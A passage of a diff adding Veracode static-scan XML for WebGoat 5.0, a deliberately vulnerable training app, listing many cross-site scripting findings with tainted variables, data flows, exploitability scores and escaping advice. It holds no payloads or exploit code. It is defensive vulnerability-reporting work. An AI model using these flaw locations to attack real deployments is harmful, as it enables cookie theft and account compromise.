+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
